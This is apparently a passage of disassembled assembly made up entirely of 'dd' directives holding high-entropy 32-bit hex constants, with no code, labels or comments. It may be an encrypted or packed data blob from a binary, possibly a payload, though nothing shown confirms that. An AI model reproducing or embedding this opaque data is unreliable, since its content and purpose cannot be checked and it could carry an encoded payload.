		dd 132328FEh, 7A7F2BD7h, 0AAFFD68h, 5FE6720Ch, 0D61FDD62h
		dd 62E2C965h, 0AD06D661h, 6221108Ch, 254AE870h,	4C5AEE67h
		dd 13C1C07Bh, 9B7F1DBDh, 993BDD7Fh, 8CC6D003h, 786FB303h
		dd 157CDD63h, 37B7C143h, 71F23589h, 0D8DD2F57h,	0F6A6082Dh
		dd 0F39E3EDBh, 20B0D6FBh, 2D287C91h, 0FAE73515h, 306ADCE6h
		dd 2BAB5689h, 4CD84D19h, 0DA382D76h, 431A27FCh,	2CA5B1B4h
		dd 66981373h, 4ED48C7Ah, 0D422D4Fh, 0C2437A94h,	80142311h
		dd 3F3AE6h, 4110F2Ah, 4E44BACDh, 8FBB3528h, 0AECE1CBAh
		dd 0E33C778h, 0E1A2F0Dh, 98EB35A1h, 32332EDEh, 6BC49738h
		dd 4F0B5CBEh, 96F5C989h, 0BB85CD04h, 0AA28FF0Eh, 62A84989h
		dd 13F3CF70h, 2332AE0Eh, 0D5A45E1h, 1D030510h, 39B245F6h
		dd 9BFFD982h, 5440E121h, 0B8CE3392h, 0AC40498Bh, 0B8F7FC54h
		dd 7E265BDEh, 6C3827FFh, 4BF5F2ADh, 6F544FDh, 865E816Eh
		dd 807E92B9h, 6A7F88AFh, 0D6946C4Ah, 5B6093EAh,	0C1B04174h
		dd 0EE7AFE20h, 0BE079F60h, 251F8CB7h, 0EE33372Fh, 2F1DA396h
		dd 0BC8A6EA8h, 64DEEE2Ch, 29D035D9h, 0E6A5CB4h,	7A2EDD87h
		dd 0C3ECF20Eh, 6FFAC073h, 0B6E883E1h, 0CB7CEFD1h, 0EACABCC4h
		dd 714515E6h, 0F65D3F4Dh, 0E067897Ch, 0EC651843h, 6FAF80A1h
		dd 2D6F1517h, 3203AD37h, 912ABDA0h, 2F404A1Fh, 6FC89914h
		dd 0A9331F16h, 0A467B3A6h, 360D6270h, 40ABEDAh,	0FA7515B6h
		dd 0EBFE0A03h, 5676FCADh, 0CD80F07Bh, 4ED120BDh, 2A1E293Ch
		dd 0C748A2B5h, 0B63633B1h, 5C7AA99Ah, 26214A5Fh, 2D38257Fh
		dd 823C9039h, 0BAC0124Ch, 0D148854Dh, 16CE59Ch,	0FB3A254Ah
		dd 25106042h, 4144913Dh, 301C41C4h, 0C5B76C52h,	71BAB36Bh
		dd 2643EB15h, 0E3D84178h, 2ADEBE4Eh, 0AA27835Dh, 0D7BE3928h
		dd 0BE41FE51h, 0B2378557h, 65007230h, 0C08747ACh, 1260CF28h
		dd 0EEE43F78h, 0F2752DE7h, 3A0E8B7Eh, 0BB8A46DAh, 0F0C09FF1h
		dd 0C3BEB090h, 6F156B1Ch, 0A28BC831h, 6FABAEE2h, 50FEB4E5h
		dd 61D682A3h, 29EBEEBAh, 1388939Ah, 60831B04h, 740ECD70h
		dd 79C85FFEh, 56B788A2h, 0B90EB9BCh, 0F3349E45h, 52F72B17h
		dd 4FFCE835h, 47944A8Dh, 2B0D1C39h, 0E2BA751h, 0E07314Ch
		dd 71DE3333h, 5F833D7Ch, 417CBA07h, 16FD41C5h, 67B76AA4h
		dd 7BF048FDh, 1DFFD3D2h, 0CCB22033h, 0F513D4BDh, 47C0E59Ch
		dd 29FE99E2h, 7025222Dh, 0EA76D00Bh, 40DD3D0Ch,	0DD6131D2h
		dd 0A8D0347h, 510A0421h, 0A63A61E0h, 86CA9258h,	2548A2E4h
		dd 0AD5E9EB5h, 7ADC3BB4h, 7B54A385h, 0BFB2A543h, 792110BCh
		dd 0AC0386B4h, 8A3AF8AEh, 0DE337794h, 0A9B84DBDh, 0BEBE716Fh
		dd 4071F434h, 0EF439CE3h, 4AAF210Fh, 7B16DFBEh,	0D44354B7h
		dd 0B3AA2874h, 2A4ED4E1h, 0ADB2191h, 83E18C50h,	7E42BCC2h
		dd 0F5BD13C7h, 0B98A82B7h, 2924D889h, 0F3E241F0h, 6619BEF3h
		dd 0D73B9CA5h, 0A1C49029h, 818D2158h, 2A840434h, 0D1CF3101h
		dd 0CA2250A5h, 0D3D3E91Bh, 5C672192h, 0EEC7ADE7h, 85403B8Bh
		dd 6BD74481h, 0E24E69D0h, 1E702120h, 0ADD6B90Fh, 54289E5h
		dd 7D4BDB01h, 9B7B55A8h, 76F5AB00h, 76A32A4h, 1AE02F6Dh
		dd 904B3668h, 9AB62EB8h, 55D701FDh, 66DA3107h, 7A0342A5h
		dd 1D3D3F0h, 9B73D8C3h,	0EEFC1AA2h, 2047EBA1h, 67335A5h
		dd 949E2BD0h, 9A0F4BDDh, 5C90B919h, 0F589688Fh,	0D74BE6BEh
		dd 0F37242D9h, 9AE6DC53h, 0A875EC86h, 57EB458Fh, 0C69971A4h
		dd 541C7855h, 0CF347E5h, 0E36C2125h, 0DA72C04Fh, 0CE425DD0h
		dd 0CD810244h, 9BAFB80Fh, 3F3576EBh, 0E2A499E8h, 0A2450EA3h
		dd 0CCE42C3Dh, 9B7F358Ch, 0CB394841h, 49D5A53Eh, 2F931A5h
		dd 7B278A0Dh, 470621E4h, 5BB29F1Fh, 0A042DF89h,	0D6437A14h
		dd 9BAA7345h, 8A6E315Bh, 9293AC3Ch, 0D0429C46h,	0DA5E8DBFh
		dd 9B7112C6h, 0E3A049EDh, 930EDEBEh, 9AAEF1E6h,	0B2AF28DDh
		dd 0D66237CDh, 19DB35A5h, 0A2D7E458h, 7ED921CEh, 7DE92034h
		dd 6B0A5D9Fh, 7BE0861Ah, 4B6D0565h, 0FBF4AC00h,	5957539Dh
		dd 15C52F30h, 0DB2820C0h, 1C452991h, 8F356D0Eh,	9A9278FFh
		dd 0D25BF100h, 0D88A48B3h, 22C6ABA5h, 0B86525ECh, 63E32288h
		dd 8D2F7B58h, 7FB6729Dh, 966EEAA5h, 6790C00Dh, 5217B1F7h
		dd 0D642DD6Bh, 0D51243C2h, 3F41E0F1h, 306DEB86h, 0DE81218Dh
		dd 8F498DF4h, 442728Fh,	9601C89Ch, 9A0ED78Ch, 0C7DDA97Fh
		dd 0F4E299F5h, 9E17D3A5h, 9D274C61h, 66E42152h,	177B88BBh
		dd 563545B8h, 0BBF52C14h, 0AA1C2364h, 9A872AE1h, 0E339013Fh
		dd 71DA9C40h, 9BF9247h,	1712825h, 9B5E86ECh, 93347704h
		dd 0E3AAC787h, 0BC1B7848h, 0CE927165h, 9E7D7EDDh, 7391E44Eh
		dd 49753424h, 0D73EC56Ah, 0D4D694EEh, 0D36FA1D6h, 0CD3D9F98h
		dd 0FC36BBE6h, 0ECF5221Eh, 0A10BDDD4h, 0CA587C7Eh, 0AFA7B12Eh
		dd 9E427A5Fh, 0E693F22h
		dd 9AE02BB3h, 7E09AD82h, 7D8E731h, 749D3448h, 0E982DB06h
		dd 99A742B7h, 41B03ABCh, 0CB3B21D7h, 5EC62EC7h,	8A453691h
		dd 213A82F3h, 9A43531Dh, 0A0802747h, 7CEDC41Ch,	2795FA5h
		dd 50D3A100h, 812BE619h, 10D4CA25h, 0FB447D4Ah,	24700BA5h
		dd 0AB68DB0Bh, 0F7FB20F9h, 0D465D61Eh, 0D9556DACh, 2801B76Ch
		dd 0DB6E3EEEh, 3E5AC1D5h, 9AC4438Fh, 0DEA37032h, 6C0A79E3h
		dd 6A6550A2h, 8989CE94h, 0C086FE55h, 0CF3F2188h, 0CC0CEA66h
		dd 45427B7Dh, 0B5F67EB8h, 5A4C97BBh, 7A42227Bh,	0DD022D2Bh
		dd 70657996h, 0C2CDCE81h, 4BD4B4A5h, 60DB672Ch,	7B902139h
		dd 0C03BFAh, 0EC4281E9h, 0FC0F0C16h, 9AAFF31Dh,	9E79352Eh
		dd 0D3882A7Eh, 0BC433CA5h, 6F3E0F56h, 0D40836E7h, 0D86509E0h
		dd 0CEE8B3D3h, 4410BA5h, 999DC5D2h, 4B83218Eh, 258F71F6h
		dd 464178C7h, 76649748h, 35DE51D5h, 7E53215Fh, 4A18599h
		dd 2D402B10h, 0A09A2318h, 50057EBCh, 205821B7h,	0ADD32E1Eh
		dd 1C3F610Eh, 2F85E8A5h, 0FC8AD8B1h, 0CB1821D7h, 0D028192Ah
		dd 2842BBB9h, 0D837B3F3h, 9A8D4CF0h, 0BBC64596h, 0EE397A86h
		dd 202772A7h, 8BC24363h, 36792ADh, 0F4C02117h, 0D82C7446h
		dd 4043FA24h, 12635FECh, 6276D6D5h, 802D32EEh, 0AC7210Bh
		dd 0E544361Bh, 3F1BA4h,	0AB422A09h, 9DDF8781h, 7C94C836h
		dd 67B72ADh, 77E1104h, 0FCCD3CA5h, 0ED5486BBh, 6F6C26B8h
		dd 0DCF72D22h, 534522D2h, 0C1DC0F04h, 9AE53FAEh, 3FDF4F5h
		dd 8CD7A7Ch, 4F8E4A5h, 756697F4h, 16A218Fh, 8A0247BAh
		dd 5105796Ah, 0C3892172h, 0F88987E0h, 0CD742126h, 0D045487Eh
		dd 8C0D0555h, 0DCB8AEE8h, 2DB26BEBh, 9D9CF2D2h,	9F1E9DC2h
		dd 0CB55716Fh, 44777FBFh, 6F64FFA5h, 0BE6BCEE6h, 0CB2157h
		dd 7BF899D2h, 0B54523E1h, 45AEC41Dh, 9B0C0B16h,	3B912AE7h
		dd 96803537h, 74402C86h, 47405638h, 0A13EAF57h,	0BAEEEC7Eh
		dd 78FD0E56h, 4C75F1F7h, 0A43611E2h, 0ED1D6F5h,	0BF251B48h
		dd 0F023D14h, 0D4EC980h, 7BCB1A1Ch, 0DED45791h,	20DFF75Fh
		dd 0B5663DE5h, 9F6F049Bh, 0E126E562h, 263C2B14h, 2E43FC66h
		dd 907429E0h, 4CE9DD4Eh, 0BE0AF6BDh, 4E21B5E6h,	2B328066h
		dd 76C2AD41h, 6DBAC1Eh,	45B93165h, 4B2AC3E5h, 2E08A174h
		dd 0A937E1B4h, 2EC03316h, 5A52A24Eh, 0C44038A6h, 36871785h
		dd 6101C7BCh, 8100F679h, 5FFD2E76h, 6E6DF18Eh, 5E756406h
		dd 0B3FEF771h, 714FF454h, 4F50F398h, 5D3CE724h,	0F7D521A2h
		dd 0C8352216h, 5F3E4CA3h, 0AE3FE0A3h, 5A831150h, 42090144h
		dd 0A1ED376Dh, 4A0C2FBDh, 0B5A5FE4Eh, 0B278B644h, 2E2856Bh
		dd 0B3322EFh, 9DCAD615h, 56BCECAAh, 0A9C64296h,	0A342CF5h
		dd 8D50915h, 6DFDC15h, 0C41009A0h, 0DA55265Dh, 13E43ED4h
		dd 4B3A039Eh, 0CDC69E5h, 0F8D2D900h, 9D62C6Ch, 79212201h
		dd 2146D81Dh, 7D363015h, 0BBD1C304h, 0BA3BD204h, 2DCE634h
		dd 0AAF93E75h, 3FD5E919h, 7FE03004h, 0AB84901Ch, 0C284C011h
		dd 490CD66Eh, 0B9231AAh, 0AEBC2713h, 4CF00A04h,	3C32EDBDh
		dd 3C47E563h, 2B11D7Ah,	0A215CEBDh, 0A2ED16D1h,	213CEEFh
		dd 0B6BA3055h, 3E461D2Eh, 1882606Eh, 1A20F6A4h,	56328977h
		dd 0DFA067Eh, 1BD5D0BBh, 24A3DE6Ah, 0E41A7A7Fh,	0BB696A10h
		dd 1AD47349h, 6CFFEA28h, 42DFB177h, 0B60E1352h,	13150A00h
		dd 7E9AE960h, 0B0030E41h, 0AA3B286Eh, 843B291Dh, 0E2FF315Dh
		dd 0A370CEB4h, 4528B54Dh, 655A04B5h, 0B3C9125Dh, 52DA8C20h
		dd 4D16EF78h, 6106306Ch, 3D203EBDh, 2D0EB634h, 9B86144Dh
		dd 3710DB45h, 461BA745h, 0AA1014B8h, 0C3A3DA6h,	3319210h
		dd 0D7620518h, 0D15176F4h, 5CEEF575h, 0A970F26Dh, 6065517Dh
		dd 47FDF77Ch, 69FE66B6h, 6946F475h, 6C4233C0h, 5213116Fh
		dd 0BA163338h, 6A4E235h, 9CEB147h, 730BEBC1h, 6092A550h
		dd 18DD05F7h, 2A0AD6B1h, 0AC0C005Dh, 17633A17h,	1CE28B6h
		dd 0AD1CD1Dh, 4FABF3Fh,	0A4CC501Fh, 740BC82Eh, 52BFA61Fh
		dd 0DC8E6F6Ch, 528FCDEDh, 0ABA1C35h, 109EBA57h,	272C6E1Ch
		dd 0C0DA8161h, 811EC274h, 3C463BEFh, 4EB10973h,	0ECE52505h
		dd 0D43E380Fh, 0A1908156h, 0FD304423h, 5313C16Dh, 550B59D6h
		dd 7E915415h, 0BBA13244h, 0E55D1EEAh, 0B30AF859h, 2974F240h
		dd 0B4DE6823h, 1BEA9D4Bh, 46241E41h, 0C7251218h, 0DAC3B0D5h
		dd 0BC2A8904h, 4AD9C25Ah, 216939FBh, 980F4C50h,	0B23CC6D1h
		dd 7D0EDC2h, 0ADC2033h,	0F8A5CE23h, 99ACE3EFh, 4AE71E44h
		dd 6A0BF214h, 5C9803AFh, 0FAD7FF5Fh, 46FAC7D1h,	0EA537F6Dh
		dd 43BEDCABh, 6BE2AB12h, 0F0192D04h, 81A46D0h, 0D753A21Eh
		dd 0C2097DB9h, 735E0E40h, 48B2F425h, 4D0863F1h,	0F1EF151Fh
		dd 5D98312Ch, 6D57425Ah, 6608846Eh, 0FE8FC3DDh,	0A41A802Ch
		dd 0AC2DC4C2h, 0BB340260h, 0EFF50D5Ah, 5B2518B9h, 0AE404557h
		dd 0B59E4F69h, 740EF484h, 74A37B1Ah, 0C7C12952h, 0A3923561h
		dd 670C6B72h, 24F104F0h, 55BCFE00h, 60C0C967h, 7BF1C813h
		dd 64E661E1h, 0B46EF549h, 5C5EF403h, 1336B3D2h,	0A175F7A7h
		dd 9F5CBD19h, 69D2CC72h, 9F4B825h, 89FED82Fh, 74EEF564h
		dd 0E5FC29C7h, 6EB4F511h, 719FE03Ch, 1D416D2Fh,	6AAFDDA2h
		dd 71BB36B1h, 65E13E9Bh, 41A1F47Dh, 5D51CE04h, 5A62D98Bh
		dd 6B080254h, 0C163D377h, 6026ECB4h, 5E35295Ch,	0B213F2F8h
		dd 102ABC5h, 0C2DC4837h, 97335852h, 283129B5h, 0BCD9B0B5h
		dd 79F0120h, 9623C101h,	9B1A4313h, 0E3CC4553h, 0B0DEC2BFh
		dd 56DBB213h, 5363B0A8h, 0A5EB9554h, 24813918h,	0CD00014Bh
		dd 0ACC1BF39h, 5C755185h, 5AC4915Bh, 0AC76EF36h, 2DEE28A6h
		dd 6364096Fh, 0A187E2Dh, 2F43AD7Fh, 9BF8B20Bh, 0EC403C6Dh
		dd 32EC8BBCh, 5A87C91Dh, 0B35B6014h, 58D0E16Bh,	4C36E99Ch
		dd 830CDD65h, 2DBBB64Dh, 5E4182B5h, 0A6DA8DEAh,	5C1365FFh
		dd 916250A4h, 0A37D3BD9h, 8CF9718Ah, 0AF4AFF86h, 9E18E1F5h
		dd 0AC66CC8Dh, 0AAFD0BA3h, 6600B75Dh, 5A232283h, 5EC3E537h
		dd 961BBD75h, 27CE5579h, 9DC7B581h, 432E8561h, 934D2D45h
		dd 0C31294E5h, 0AF6D3DA1h, 0FA092CD1h, 60D50B37h, 29413055h
		dd 0AAE10080h, 0AECD0F36h, 2726DDB1h, 0D2F936B9h, 290EAEA3h
		dd 46FAE9C0h, 5B7D1EB4h, 0EA35C12Ch, 9B2A88FDh,	5B6A0A3Fh
		dd 0A43EC9C9h, 6BF2B6C9h, 0AE343D39h, 0C76833D9h, 3ACEC75Ch
		dd 1766E049h, 0F22E48FDh, 0E336A119h, 0D6BB87BCh, 0B6BC214Fh
		dd 0E2323AB4h, 7966A919h, 5ED61345h, 20861EA2h,	0FB3A05EAh
		dd 0B241B2BCh, 2AEE6D51h, 0C1D2E1CDh, 2ACEA8CDh, 1C313546h
		dd 0B9AA9341h, 0D750BD35h, 6C168D4Eh, 28338EB0h, 424A41FDh
		dd 96FDB518h, 0B7608F44h, 161B3E34h, 4BAE13Eh, 73026F1Ah
		dd 281E949h, 0CE852D1Ah, 1F2792C0h, 910EDA7Ch, 6D52862Bh
		dd 8A97C561h, 6CFFFFE5h, 69FA2272h, 6E11777h, 0EF422B36h
		dd 0AC40F108h, 4E13E115h, 8304298Bh, 0E5501FBEh, 0F080404Dh
		dd 0A3376164h, 9813E315h, 68232966h, 3D2A9983h,	0A3368C65h
		dd 5F6BF752h, 5C76A175h, 963D23DBh, 0AA122040h,	0BAFAC313h
		dd 9E0F6BA4h, 0AAD2442Dh, 0EF7D0115h, 8F3E8125h, 0AA2106B3h
		dd 9EB1297Dh, 59C6BB7Bh, 52427746h, 0B2250955h,	53193105h
		dd 9A220854h, 9B3A304Ch, 0BC1B136Bh, 0A43338A5h, 45101BA3h
		dd 50072142h, 0B0270F57h
		dd 57452CB7h, 0B71E1450h, 9A3E35B0h, 0BE191D69h, 9E393D49h
		dd 0A5303BA2h, 0D24321A2h, 923B2EBFh, 0AB35E4B7h, 0B32C3C25h
		dd 0AA36054Ah, 0CC0646AAh, 9F34A1A3h, 0AC2F29B1h, 0A12BE125h
		dd 0AD2B2CB6h, 42422AA5h, 48210752h, 4126216Fh,	49251553h
		dd 4045115Ah, 4711006Eh, 4D20105Ch, 9BED0649h, 8A530838h
		dd 0D0B13864h, 202D36BCh, 873BABB1h, 82E3D74h, 5B213DB5h
		dd 74283D48h, 9E31D8A0h, 0BADD29E6h, 460DC9D1h,	0B2AB31B6h
		dd 3075432Fh, 7B9CA67Dh, 6463D939h, 682A8E6Dh, 1ED2AD6Eh
		dd 2E927079h, 23723D35h, 8910886h, 4A9CD6B1h, 5473C137h
		dd 0A50C9DC5h, 0DDBAB4BBh, 0AAC5011Ch, 68432BCEh, 38A8384Bh
		dd 0D69AB4E1h, 0B386EC55h, 0A3D70D73h, 0BEB508B0h, 0A6C011DFh
		dd 5412281Ch, 0EAF9050Ah, 0B6B51525h, 0FB1A8BC6h, 0DBA3F57Ch
		dd 5EF06553h, 82FA911Dh, 0A303D415h, 41BD32B9h,	68166B5Dh
		dd 6B72F0B0h, 26DAF1D1h, 8336CFC1h, 0BAAFBF20h,	0AF4ABB51h
		dd 2BBAB1F1h, 0D9CE1B24h, 0ABBC494Ah, 353901F5h, 0A632AC5Dh
		dd 86917FB4h, 72A33564h, 842B44B1h, 1E26AD69h, 1EF6AD61h
		dd 0A722AB49h, 0AE379755h, 561938C4h, 0B55DBB63h, 0FFDD3229h
		dd 3754BBC8h, 6035A23Dh, 22FF1D6Ch, 0E706311Dh,	0AEAD38FCh
		dd 47A90D61h, 0CE3A82E9h, 76BF0DC3h, 86BFBD39h,	9BAC39D1h
		dd 47ADA1A1h, 8F9E1A7Ch, 9B2E314Ch, 3F1D2D7Fh, 6F4103C4h
		dd 0FFF70524h, 5B9A0D60h, 47B1F634h, 6E0929A0h,	0BEF91D20h
		dd 3B2BB9B9h, 62DAF5FCh, 4D50C1FDh, 4C0D132Dh, 0BD953C7Dh
		dd 69BD0051h, 0BE64DAB0h, 3A00EF67h, 0A3BD08C1h, 0CF24E870h
		dd 407C3EBCh, 0A4D4F4FBh, 38F73D65h, 0BB368042h, 0B23D1F41h
		dd 3C9F0D3Fh, 0A73EE894h, 5AFB9D3Ch, 1E0D2D5Fh,	0C71B4059h
		dd 4ED90886h, 0A4391E55h, 0EAED609h, 6DCD23FBh,	60D2E162h
		dd 0A706EDB1h, 342B00B1h, 1EB93FF4h, 421A70B9h,	7E94E147h
		dd 34BEA8F4h, 46291B4Dh, 2B350979h, 3E4E67BBh, 90554E47h
		dd 0A663DEB9h, 0BA8C2264h, 46FD294Dh, 0A2EF267h, 0F00B35C3h
		dd 2BB532B6h, 7336E35Eh, 2F6B17Bh, 0B6FAF134h, 0BE0DC951h
		dd 38EC6BBh, 13A01558h,	201A812Dh, 3BD2B4C9h, 46F06521h
		dd 66009562h, 316FD135h, 3B7505F4h, 66DD29AEh, 0A0F93DC4h
		dd 9E3A6BA3h, 11AF3757h, 50392B70h, 624A1FBDh, 6284A94Dh
		dd 567B8E14h, 4E0C6C08h, 0EA16AF05h, 40AC3544h,	56B8C9C6h
		dd 525F9E52h, 0CEF92B71h, 0B3FECF0Ch, 6D872920h, 5FE6E22Dh
		dd 7ED122A1h, 2EED3141h, 0A6F931C1h, 0C2BE2FEFh, 0C6178851h
		dd 3480D6BCh, 26BD3D59h, 76FB5879h, 9FA22040h, 632D1E02h
		dd 0BEF05A52h, 351F468Ah, 0B6E56C17h, 79D38EEh,	0C5DDC5B4h
		dd 6F09BE6Dh, 4B252F6Dh, 0BF4E2D3Ah, 17757759h,	708715DEh
		dd 0A40CF711h, 0EAEEB5E4h, 375352Dh, 0E188C8CBh, 0E29EE15Dh
		dd 0E288E969h, 0B85BF4C9h, 0B7B90441h, 0BD8D0449h, 733EEC98h
		dd 0ECA5359Ah, 5A800C65h, 0B4052EB7h, 2A196C60h, 6315BC46h
		dd 99CE6E40h, 0E6BBBF40h, 0A03A14A3h, 4232A137h, 9F12CEEEh
		dd 0D1BCC6Eh, 4C4A2289h, 4E3AAE34h, 0B921F8A3h,	0DECB02Dh
		dd 931906C6h, 0A208CCA6h, 0B92B1145h, 0A17FFCA3h, 0B323F973h
		dd 0B1FA1B50h, 2CF0C1C9h, 0E92D9500h, 0C400D645h, 0FD09072Ch
		dd 301D0666h, 0B78DC26Dh, 7BB0CAA3h, 36D7FE3Eh,	0D46CC4Ah
		dd 5B2DEFA8h, 7BD6DE3Dh, 0E2DD415h, 0F752D813h,	52D23757h
		dd 995DF02h, 6200535h, 71111D4h, 609C955Bh, 99DAE749h
		dd 91DFD568h, 0A2EF7390h, 71CA0199h, 7DEEE53Eh,	0D03C715h
		dd 0E5CACC57h, 59CC0045h, 0EC7C011h, 0C2F17303h, 60F1A9C5h
		dd 1127D17Eh, 5F7FD804h, 0BE36D31Ch, 8E11DA0Ah,	7BEA6008h
		dd 2ECBD217h, 0A116CD13h, 319D958h, 0A392FABBh,	8BFDF679h
		dd 8D03565h, 0DFDCD01Ch, 96905AB1h, 0D63BCD31h,	16B3857Dh
		dd 1A90FE64h, 0AEEDC5C7h, 0E7185DA0h, 5D82566Bh, 4B72D310h
		dd 0CAEF093Fh, 1EBC0BACh, 4F48FFACh, 2712E7CDh,	31183F72h
		dd 0E0A5B3Bh, 5FF6F64Ch, 6F7BF854h, 56EBF488h, 0E7D2DD86h
		dd 3BD2D569h, 0A8892A69h, 0ACE3D279h, 6F72568h,	0BCE69EB2h
		dd 5AFEEABCh, 0AC12A86Dh, 62250D5Dh, 0BC36B1B1h, 0CC4906A1h
		dd 245A5161h, 0BF713385h, 2C7AE9F5h, 0FA43E0E1h, 6E9DE2A1h
		dd 7EFB619Fh, 629D28D1h, 0BCAEB0C5h, 1EBAED39h,	1630A13Ch
		dd 0AFAD941h, 7A20C934h, 23F6F961h, 0BE113365h,	2B1EE959h
		dd 5E310349h, 329722B9h, 7E922545h, 63592891h, 5D6AB081h
		dd 0AC7512D9h, 0EEE14CFDh, 0D2321EE5h, 0C2B35EBCh, 3AFE8D43h
		dd 0ACBAA831h, 62D10D29h, 0BCE2B01Dh, 62EEED09h, 5230E13Ch
		dd 42FD1141h, 0B2230134h, 23353D61h, 0BE3D30B9h, 0BA20FAA1h
		dd 8EFE96A9h, 0AD5EA899h, 63710D89h, 0BD7AB0F9h, 0AE86F2E1h
		dd 0CAFE9D43h, 0AC9EA8DDh, 62B10DC9h, 5ABEB039h, 0AC76A571h
		dd 23D92811h, 0BEF13305h, 2B02E979h, 5E15036Dh,	0BABA0D5Dh
		dd 0AA213EB3h, 96BD297Dh, 6D5930D7h, 0AC6112EDh, 0EA3A0389h
		dd 238A6161h, 44A533C1h, 0ABAAEFF9h, 2A3BBD01h,	0AB3A57Dh
		dd 6114973h, 0A320C2B4h, 66EEED09h, 5A30E93Ch, 4EFAE541h
		dd 0BE231534h, 23310561h, 76203DB5h, 637442A1h,	0F9C17Ch
		dd 39AB2301h, 0E1E3D359h, 0D74696FCh, 6ADDD446h, 0B98ABA89h
		dd 12D14515h, 519C352h,	0C5A007Dh, 0AB6623D3h, 0AE74765Fh
		dd 92C87EDCh, 0EFDBF51Ah, 4A2BC938h, 7DADCC5Ah,	89039FD4h
		dd 0BAD3D1CBh, 0A4EA7E3h, 0DDBC204h, 4DDD0FC5h,	0CBAD403h
		dd 0A98A9A26h, 0B883B22h, 9E52BD0h, 0AE14F0B3h,	7E1F014Fh
		dd 4C2E1003h, 3D1D52h, 9906C1BDh, 47DFF331h, 84C0DE51h
		dd 22E4D74h, 49CB3AB4h,	3E1C92B5h, 8435355Fh, 1EDF4302h
		dd 0F4BE7BCDh, 0AAA00120h, 0E22335C2h, 79669D3Ah, 1A5655Ah
		dd 986F32Fh, 105A292Dh,	3E3014Dh, 4185C297h, 8544CF1Ch
		dd 500F311Ah, 1248047h,	0EC269587h, 0D2DBBE1Ah,	42EA5A11h
		dd 6147A5DFh, 1ECBB64h,	7E36E302h, 7C84D5B4h, 0D6B8CA21h
		dd 0BC3D0053h, 31B67165h, 0D14DEB64h, 20A8F2Bh,	590D331Dh
		dd 37D0BD7Ch, 0FE598DF9h, 48E0E353h, 0DFAA204h,	0A20CBC10h
		dd 72E745Dh, 6DD9406Dh,	3B44D17Dh, 0BED8D361h, 7D7AC916h
		dd 0B2B0C818h, 0E46E9ABDh, 5E1A1189h, 8314E1EFh, 7CFCE596h
		dd 5AD34113h, 0E6A1DB2Eh, 509B3A20h, 0BBF0C69Eh, 3A1513A9h
		dd 0F532EA3h, 891D35CAh, 4C202921h, 520A291Ah, 0B31397FAh
		dd 0E020D4CFh, 343D388Bh, 0FB3D0123h, 2E40280Fh, 0A6F1E658h
		dd 32EE2935h, 1D94C69Bh, 8736CE1Bh, 3B50F33h, 11B51873h
		dd 843D23EEh, 930B1EC5h, 8E0F9787h, 2B3A8CB0h, 0ED333D5h
		dd 0FD4EF61h, 0B8B11988h, 0A7F8C72Fh, 0DD55DD68h, 2BEBF79h
		dd 0FA0D502h, 0DA33D62Dh, 321E4068h, 999D3A40h,	7F22FC17h
		dd 6F3D203h, 0A2110894h, 0FE671234h, 3C671034h,	4F02BB41h
		dd 190D1E6Fh, 0D2368C6Ch, 0E2238562h, 3633D4BDh, 8FF1942h
		dd 0B3D636BCh, 0AF2AED9h, 2E3BCD2Eh, 4C3AA3E1h,	0C494EF5Dh
		dd 0BE46F4D7h, 910906B9h, 820ED48Ch, 0ADEA9053h, 41293302h
		dd 0AE2CAA91h, 0C45539h, 0F9C20235h, 0FF907F1Eh, 55DDF1D8h
		dd 0E3DF658Dh, 4F16C91Dh, 696FDC53h, 0C363EA9Fh, 0DA108078h
		dd 0E801DC5Fh, 2BC7A748h, 0C698B49h, 5863701Fh,	0D202934h
		dd 9806D4E8h, 3D3685F7h
		dd 0B60B9499h, 34A3D680h, 0D9324959h, 5DF0E9A5h, 480CDF45h
		dd 0BE12136Ah, 631967Ah, 0AB5895E1h, 7356459h, 13D4E358h
		dd 4B6306B1h, 51122966h, 21354EA7h, 0AD14E15Bh,	4A165CE5h
		dd 0A53C9D0Ah, 0B1FAB051h, 8C5FC846h, 0FBDF5801h, 8DCE4817h
		dd 0ED2F32E0h, 0D7DC470h, 12E0EF45h, 578BE1BDh,	14FD2B7Ch
		dd 0ADD2BA2Ch, 0E9F96559h, 0BF06406Bh, 0E5DBE701h, 6E46F163h
		dd 9586E1DAh, 74DC1E49h, 66638461h, 0EB2B875h, 4E7E1033h
		dd 0D640E973h, 0CF2E17Ch, 7E52D6A9h, 3195D291h,	49ECE065h
		dd 73EDA67Fh, 7F1D481Ah, 3EA3672Ah, 2E93E13h, 7CF9ED79h
		dd 2333DE04h, 7406EA57h, 0EFF7B952h, 7564A0B4h,	0ADAB96Ch
		dd 0A6DC127Dh, 62B3AB72h, 405E10C9h, 90D12612h,	0E370317h
		dd 0A0E91FB9h, 0A1232EBBh, 6B940185h, 3BBE3B0h,	0B9BA22C5h
		dd 21C7BF02h, 0C3F13D0Dh, 61D6D66Ch, 0C483D2CBh, 6501E877h
		dd 0A4363225h, 6CFFF270h, 4212423Ah, 0DE3218A0h, 9803F1DDh
		dd 3639DBB5h, 5EF5F5A2h, 0A905EF60h, 62158115h,	0C6EE4B76h
		dd 0DE72ADB4h, 84ADC046h, 0F46EE9F2h, 8BF92770h, 6FA2BF0h
		dd 7EDD85C5h, 3E8D8911h, 14EF9F78h, 2F97FD8Ch, 0BA0C1872h
		dd 52F25CB1h, 5755C7DAh, 1E69DEEDh, 63C2A66Bh, 9EDFD064h
		dd 0EE5B0646h, 7E24FB15h, 0FB50A3Dh, 92D30B33h,	87384A75h
		dd 24D7C7D7h, 0AEA4D863h, 0BB10865Dh, 0FEFF09BFh, 6EF5F4B3h
		dd 0DE4B00B5h, 66EA236Bh, 0A02B681h, 0AC29BD11h, 62A6EB15h
		dd 7C151338h, 341ADB3Ch, 1EEC0BF3h, 0AB14E9F3h,	0EB6D1962h
		dd 977ACEA3h, 391F70h, 3E8EFE74h, 7F218B76h, 37C4FAD3h
		dd 7BF0C3D5h, 7CC0F0Dh,	5243CC9h, 2DAB3B40h, 1AB4AD79h
		dd 53754080h, 0A571D02Fh, 0A2A85A9Dh, 0A9AF81B2h, 5E2FC2B2h
		dd 0EDD61896h, 0C1F49521h, 62D20FE8h, 1A1C3AE4h, 936F17CBh
		dd 0DEC13E73h, 8CB9AF7Bh, 81E9A0F3h, 6311330h, 63A71D59h
		dd 6568E920h, 0B9E7C376h, 0E01007Dh, 5533E87Ch,	0A03AC862h
		dd 35C8DECDh, 73090070h, 0D470D71h, 686CCCA9h, 189C67B3h
		dd 59E61DB4h, 0D1C8C57Fh, 918AEADFh, 452C7C92h,	6717D141h
		dd 0B68EF6B7h, 7A05E61h, 84FC2EC0h, 0CE917D7Dh,	0B0D9E942h
		dd 9F717D0h, 98084ADAh,	8BDC4221h, 0A9E81C0Dh, 21F1937Dh
